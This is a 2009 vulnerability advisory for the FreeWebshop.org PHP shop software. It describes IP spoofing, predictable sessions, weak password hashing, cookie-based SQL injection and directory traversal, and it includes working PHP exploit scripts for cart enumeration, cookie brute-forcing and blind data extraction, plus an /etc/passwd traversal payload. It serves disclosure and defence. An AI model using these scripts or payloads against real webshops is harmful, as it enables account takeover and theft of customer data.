FreeWebshop.org: multiple vulnerabilities


Yorick Koster, March 2009

Abstract


While doing a quick sweep over the code base of FreeWebshop.org (FWS) several vulnerabilities have been found in FWS. These vulnerabilities allow attackers to obtain arbitrary information from the webserver and database. It is even possible to execute arbitrary code with the privileges of FWS. In some cases it may even be possible to fully compromise the system on which FWS is installed. Most of these issues are related to the fact that FWS fully trusts the content of the cookies that it receives. These issues were discovered within a very small time frame, it is likely that more issues exist within FWS. A full security review of the code base is recommended to increase the security of FWS.

Tested versions


The issues mentioned in this document were tested on FreeWebshop.org 2.2.9 R2.

Fix


There is currently no fix available.

Introduction



FreeWebshop.org (FWS) is a free, full featured software package that allows you to set up your own online webshop within minutes. FWS is written in the popular language PHP and uses a MySQL database. It is designed to provide you with all the features you need from a webshop.

Insecure installation instructions


Besides changing the default password for the admin user and removing the install.php script, no specific instructions are provided to secure the installation of FWS. The manual assumes that FWS is installed on a LAMP server (Linux, Apache, MySQL & PHP). If the ZIP archive is extracted or the files are uploaded to the document root of the webserver, the new files and directories will be created based on the active umask. In most cases, this will give read & write access to the owner of the files and read access for all other users.

Since FWS needs to write to certain files and directories, the instructions in the manual tell you to specifically set file permissions on a specific set of files and directories. For files, the owner, group and world are all given read & write permissions including the file settings.inc.php. For directories the execute bit is also set. The file settings.inc.php contains the database username and password. In case of a shared hosting environment, this allows for local user to obtain these credentials. Since local users also have write access, it is even possible to add or change PHP instructions to this file. Local user can also create new files in the directories for which the file permissions have been changed. Since these directories normally exist within the document root, it is possible to create new PHP scripts and execute these scripts using the webserver.

If the webserver is configured insecurely (for example the PUT option has been enabled) or one of the applications hosted on the webserver contains a vulnerability, it is even possible for unauthenticated remote attackers to make similar changes. This can eventually lead to a complete compromise of the entire system.

IP spoofing


When a user logs into FWS, the user's IP address is stored in the database. This is done to prevent replay of (stolen) session cookies. If FWS is called with a session cookie from a different IP address, the user will not be logged into FWS. The IP address is obtained using GetUserIP(). This function first checks whether the HTTP request contains the X-Forwarded-For or Client-IP HTTP headers. These headers are normally set by proxy servers to expose the user's real IP address to the webservers. If these headers are found, FWS will uses the value of the header as the user's IP address. If these headers are not set, FWS uses the IP address of the connecting party.

includes/subs.inc.php:

// get user IP
function GetUserIP() {
   if (isset($_SERVER)) { if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
               { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; }
            elseif(isset($_SERVER["HTTP_CLIENT_IP"]))
               { $ip = $_SERVER["HTTP_CLIENT_IP"]; }
            else { $ip = $_SERVER["REMOTE_ADDR"]; }
         }
   else { if ( getenv( 'HTTP_X_FORWARDED_FOR' ) )
         { $ip = getenv( 'HTTP_X_FORWARDED_FOR' ); }
      elseif ( getenv( 'HTTP_CLIENT_IP' ) )
         { $ip = getenv( 'HTTP_CLIENT_IP' ); }
      else { $ip = getenv( 'REMOTE_ADDR' ); }
   }
   return $ip;
}


This logic is flawed as it assumes that only proxy servers set these HTTP headers. The fact is that the client is under complete control of the attacker, which allows the attacker to set any arbitrary HTTP header including the X-Forwarded-For and Client-IP headers. Consequently, it is possible for attackers to spoof any IP address (through GetUserIP()) using either one of these headers.

Unsafe session handling


FWS uses its own session handler instead of the default one provided with PHP. There are many pitfalls when dealing with sessions. It is generally not advised to create your own session handler. Common errors made when doing so are the creation of predictable session identifiers or the possibility of replay of session information.

The session handlers uses two different cookies, one for logged in users named fws_cust and one for guest users that is named fws_guest. FWS will first check if the fws_cust cookie has been set by the browser. If this is the case, it will split the cookie value on the dash character (-) and it sets the name, customerid and md5pass parameters.

includes/readcookie.inc.php:

// open the cookie and read the fortune ;-)
if (isset($_COOKIE['fws_cust'])) {
   $fws_cust = explode("-", $_COOKIE['fws_cust']);
   $name = $fws_cust[0];
   $customerid = $fws_cust[1];
   $md5pass = $fws_cust[2];
}


If the fws_cust cookie has not been set, FWS will check if the fws_guest is set. If not, FWS creates a new session identifier that is stored within an new fws_guest cookie. This cookies is valid for one hour. Its value is stored within the parameter customerid. If the fws_guest cookie is set, FWS will just store its value in customerid.

includes/readcookie.inc.php:

// you're not logged in, so you're a guest. let's see if you already have a session id
if (!isset($_COOKIE['fws_guest'])) {
   $fws_guest = create_sessionid(8); // create a sessionid of 8 numbers, assuming a shop will never get 10.000.000 customers it's always a non existing customer id
   setcookie ("fws_guest", $fws_guest, time()+3600);
   $customerid = $fws_guest;
}
else {
   $customerid = $_COOKIE['fws_guest'];
}


The parameter customerid is used in various places. Its main purpose is to maintain the state of the shopping cart. If it is possible to predict this value, it is possible to view and modify another user's cart. For guest users, the value is generated using the create_sessionid() function. This function generates session identifiers based on the current time and the function mt_rand(). The last function creates random values using the Mersenne Twister algorithm. FWS seeds mt_rand() every time create_sessionid() is called. mt_rand() will produce the same set of random values if the same seed is provided. Since the attacker knows the current time, it will be possible to generate the exact same session identifiers. Consequently, an attacker will be able to calculate valid session identifiers, which allows the attacker to manipulate another user's cart.

includes/readcookie.inc.php:

function create_sessionid($length)
{
   if($length>0)
   {
      $rand_id="";
      for($i=1; $i<=$length; $i++)
      {
         mt_srand((double)microtime() * 1000000);
         $num = mt_rand(27,36);
         $rand_id .= assign_rand_value($num);
      }
   }
   return $rand_id;
}


The value stored in customerid actually represent a primary key within the MySQL database. No validation is done to check if it contains a valid session identifier. Because of this, it is possible to set the fws_guest to any arbitrary value. This allows for enumeration of valid customer identifiers. It also allows attackers to modify carts of logged on users or saved cards of previously logged on users. This is demonstrated in the following PHP script (Dutch):

<?php
   $url = "http://127.0.0.1/index.php?page=cart&action=show";
   $max = 1000;
   
   for($customerid = 1; $customerid <= $max; $customerid++)
   {
      echo "<h3>Customerid: " . $customerid . "</h3>\n";
      $ch = curl_init($url);
      curl_setopt($ch, CURLOPT_HEADER, FALSE);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
      curl_setopt($ch, CURLOPT_COOKIE, "fws_guest=" . $customerid);
      $result = curl_exec($ch);
      curl_close($ch);
      $result = str_replace("\n", "", $result);
      preg_match("/(Wat zit er in uw winkelwagen.*)<\/table>/", $result, $matches);
      echo strip_tags($matches[1]);
   }
?>


If a user successfully logs in, the fws_guest cookie is replaced with a fws_cust cookie. The content of the shopping cart is transfered to the one corresponding with the user's customerid. The cookie value contains the username, customer identifier and the password that has been hashed with the MD5 algorithm (twice). As long as the user does not change his/her password, the value of this cookie will remain the same. This cookie is used to check if a user is logged on or not. If an attacker can steal this cookie value, it will be possible to use this cookie to logon as this user until the password changes. There is one limitation, the attacker will have to spoof the user's IP address as this value is stored in the database and compared by FWS. The spoofing flaw described above can be used to circumvent this measure.

Insufficient protection of passwords


An MD5 hash value of the passwords of the users of FWS is stored in the database. FWS use these values to validated passwords entered by users. MD5 is one way, the original value can't be easily obtained from the result of an MD5 hash. Since only the hash value is stored, it is possible to find users with the same hash value and thus with the same password. It is even possible to quickly obtain passwords by looking them up in so-called rainbow tables. If users do not pick strong passwords, this attack is quite trivial. In addition, a malicious administrator or attacker can even try to brute force the password using a dictionary or by trying all combinations. FWS takes no measures to prevent these attacks.

Insufficient protection against brute force attacks


The login page of FWS is not protected against brute force attacks in which an attacker tries to log on with various username and password combinations. These attacks are not detected by FWS and FWS does not implement measures to thwart these kind of attacks for example by using timeouts and/or locking. In addition, due to the way session handling is implemented, it is even possible to execute brute force attacks on the session cookies. In this case, it is not required to know the correct username(s).

First lets look at the LoggedIn() function that checks if the user is logged on using the fws_cust cookie.

// is the visitor logged in?
Function LoggedIn() {
   Global $dbtablesprefix;
   if (!isset($_COOKIE['fws_cust'])) { return false; }
   $fws_cust = explode("-", $_COOKIE['fws_cust']);
   $customerid = $fws_cust[1];
   $md5pass = $fws_cust[2];
   if (is_null($customerid)) { return false; }
   $f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " . $customerid;
   $f_sql = mysql_query($f_query) or die(mysql_error());
   while ($f_row = mysql_fetch_row($f_sql)) {
   if (md5($f_row[2]) == $md5pass)
   {
      if ($f_row[6] == GetUserIP()) {
         return true; }
      else {
         return false; }
      } else
      {
         return false;
      }
   }
   return false;
}


This function extracts the customer identifier from the cookie, which is used in an SQL query. It than retrieves the MD5 value of the password from the result set, uses it to calculate a new MD5 value and than compares it with the derived password value from the cookie. If these values matches, the IP address is checked. If everything is correct, the function returns true indicating that the user is logged on. An attacker can enumerate through a set of predefined customer identifiers starting with one and check whether it is possible to login using common password or the attacker can try all password combinations. Example (Dutch):

<?php
   $url = "http://127.0.0.1/index.php?page=main";
   $max = 1000;
   $passwords = array("admin_1234", "admin", "password");
   $ipspoof = "127.0.0.1";
   
   for($customerid = 1; $customerid <= $max; $customerid++)
   {
      foreach($passwords as $password)
      {
         $cookie = "fws_cust=foobar-" . $customerid . "-" . md5(md5($password));
         $ch = curl_init($url);
         curl_setopt($ch, CURLOPT_HEADER, FALSE);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
         curl_setopt($ch, CURLOPT_COOKIE, $cookie);
         curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: " . $ipspoof . "\n"));
         $result = curl_exec($ch);
         curl_close($ch);
         if(preg_match("/Persoonlijke pagina/", $result))
         {
            echo "Found password: " . $password . " for customerid: " . $customerid . "<br>\n";
            echo "Cookie: " . $cookie . "<br>\n";
         }
      }
   }
?>


The only limitation here is the IP check that is performed, which requires the attacker to correctly spoof an IP address.

SQL injection


When FWS reads the session cookies, no validation is performed on the value of these cookies. However these cookie values are used in various parts of FWS. In a lot of places, the values are used insecurely within SQL statements. This allows attackers to alter SQL statements, resulting in the execution of arbitrary SQL statements with the same privileges as the database user that is used to connect to the database. An example of this issue can be found within the function LoggedIn().

includes/sub.inc.php:

// is the visitor logged in?
Function LoggedIn() {
   Global $dbtablesprefix;
   if (!isset($_COOKIE['fws_cust'])) { return false; }
   $fws_cust = explode("-", $_COOKIE['fws_cust']);
   $customerid = $fws_cust[1];
   $md5pass = $fws_cust[2];
   if (is_null($customerid)) { return false; }
   $f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " . $customerid;
   $f_sql = mysql_query($f_query) or die(mysql_error());
   while ($f_row = mysql_fetch_row($f_sql)) {
      if (md5($f_row[2]) == $md5pass)
      {
         if ($f_row[6] == GetUserIP()) {
            return true; }
         else {
            return false; }
      } else
      {
         return false;
      }
   }
   return false;
}


This issue can be exploited through a specially crafted fws_cust cookie. For example it should be possible to trick FWS into thinking the user is logged on. However, when the default template is used, FWS will produce an error when an attacker tries to do so. It appears that other queries are executed before this query is executed. If one of these queries fails, FWS will call the die() function. This will stop the execution of the PHP script, consequently the vulnerable function LoggedIn() will not be called. Other functions are affected as well, so the first vulnerable function that is called can be exploited by attackers. In case of FWS this is (normally) the function CountCart().

includes/sub.inc.php:

// how many items in the cart?
Function CountCart($customerid) {
   Global $dbtablesprefix;
   $num_prod=0;
   $query = "SELECT * FROM `".$dbtablesprefix."basket` WHERE (CUSTOMERID=".$customerid." AND ORDERID=0)";
   $sql = mysql_query($query) or die(mysql_error());
   while ($row = mysql_fetch_row($sql)) {
      $num_prod = $num_prod + $row[6];
   }
   return $num_prod;
}


An attacker can exploit this issue to, for example, extract arbitrary data from the database. In the code above it can be seen that only the 7th field of the result set is used as (an integer) return value, which is later used in the output. This makes it harder to exploit this issue. By setting the customer identifier, through a specially crafted cookie, to the value 0) UNION SELECT 1,2,3,4,5,6,ASCII(SUBSTRING(LOGINNAME,1,1)),8 FROM customer WHERE ID=1/* it is possible to read the first character of the login name of the user with a customer identifier of 1. Using a serie of request using different cookie values, it is possible to read arbitrary data from the database. This is demonstrated in the following PHP example (Dutch):

<?php
   $url = "http://127.0.0.1/index.php?page=main";
   $tablename = "fws_customer";
   $fieldnames = array("LOGINNAME", "PASSWORD", "IP");
   $userid = 1;
   $loginname = "";
   $password = "";
   $ip = "";
   
   foreach($fieldnames as $fieldname)
   {
      $index = 1;
      echo $fieldname . ": ";
      while(TRUE)
      {
         $ch = curl_init($url);
         curl_setopt($ch, CURLOPT_HEADER, FALSE);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
         curl_setopt($ch, CURLOPT_COOKIE, "fws_cust=fubar-0)+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%2CASCII(SUBSTRING(" . $fieldname . "%2C" . $index .
                        "%2C1))%2C8+FROM+" . $tablename . "+WHERE+ID%3D" . $userid . "%2F*-md5");

         $result = curl_exec($ch);
         curl_close($ch);
         preg_match("/Winkelwagen \((\d+)\)/", $result, $matches);
         if(intval($matches[1]) == 0)
         {
            break;
         }
         switch($fieldname)
         {
         case "LOGINNAME":
            $loginname .= chr($matches[1]);
            break;
         case "PASSWORD":
            $password .= chr($matches[1]);
            break;
         case "IP":
            $ip .= chr($matches[1]);
            break;
         }
         echo chr($matches[1]);
         $index++;
      }
      echo "<br>\n";
   }
   
   echo "<br>\n";
   echo "Login cookie: fws_cust=" . urlencode($loginname) . "-" . urlencode($userid) . "-" . urlencode(md5($password));
   echo "<br>\n";
   echo "IP spoof: X-Forwarded-For: " .urlencode($ip);
?>


Directory traversal


FWS uses a template mechanism for its look and feel and also supports multiple languages. FWS ships with Dutch and English language files. The file main.txt for each language is actually a PHP script that is included within the web pages. If the user chooses a different language, a cookie containing this language is send to the users browser. This cookie is later used to find the correct language files. No validation is performed on the content of this cookie. This allows attackers to execute a directory traversal attack and included arbitrary local files, allowing the disclosure of arbitrary file content or in some cases even arbitrary code execution if the attacker can manipulate the content of the included language file. This vulnerability exists in the following code:

includes/initlang.inc.php:

<?php
   // get language from cookie
   if (isset($_COOKIE['cookie_lang'])) { $lang = $_COOKIE['cookie_lang']; }
   // if the lang.txt file from the cookie doesnt exist (anymore), then switch to the default language
   if (!isset($lang)) { $lang = $default_lang; }
   if (!file_exists($lang_dir."/".$lang."/lang.txt")) { $lang = $default_lang;}
   $lang_file = $lang_dir."/".$lang."/lang.txt";

   $main_file = $lang_dir."/".$lang."/main.txt";
?>


Setting the cookie cookie_lang to the following value will display the contents of the /etc/passwd file:

../../../../../../../etc/passwd%00

It should be noted that this attack uses a NULL byte (%00). Because of this, this attack only works on PHP installations that have disabled 'magic quotes'.